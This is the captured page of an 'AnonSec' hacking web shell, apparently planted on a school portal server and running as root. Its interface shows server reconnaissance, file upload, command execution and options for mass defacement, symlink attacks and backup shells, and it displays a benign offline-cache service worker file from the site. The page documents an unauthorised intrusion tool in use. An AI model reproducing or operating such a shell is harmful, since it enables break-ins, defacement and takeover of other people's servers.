AnonSec Shell
Server IP :  /  Your IP : 10.244.4.16   [ Reverse IP ]
Web Server : nginx/1.25.3
System : Linux escuela-portal-app-54f56585bc-kst6g 5.15.0-1084-azure #93-Ubuntu SMP Sat Mar 15 14:12:29 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.2.13
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/app/public/contrast/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/app/public/contrast/service-worker.js
// This is the "Offline copy of pages" service worker

// Install stage sets up the index page (home page) in the cache and opens a new cache
self.addEventListener('install', event => {
  const indexPage = new Request('index.html')

  event.waitUntil(
    fetch(indexPage).then(response => {
      return caches.open('pwabuilder-offline').then(cache => {
        // console.log(`[PWA Builder] Cached index page during Install ${response.url}`)
        return cache.put(indexPage, response)
      })
    })
  )
})

// If any fetch fails, it will look for the request in the cache and serve it from there first
self.addEventListener('fetch', event => {
  const updateCache = request => {
    return caches.open('pwabuilder-offline').then(cache => {
      return fetch(request.clone()).then(response => {
        // console.log(`[PWA Builder] add page to offline ${response.url}`)
        return cache.put(request, response)
      })
    })
  }

  event.waitUntil(updateCache(event.request))

  event.respondWith(
    fetch(event.request).catch(error => {
      // console.log(`[PWA Builder] Network request Failed. Serving content from cache: ${error}`)

      // Check to see if you have it in the cache
      // Return response
      // If not in the cache, then return error page
      return caches.open('pwabuilder-offline').then(cache => {
        return cache.match(event.request).then(matching => {
          const report = !matching || matching.status === 404 ? Promise.reject('no-match') : matching
          return report
        })
      })
    })
  )
})

Anon7 - 2022
AnonSec Team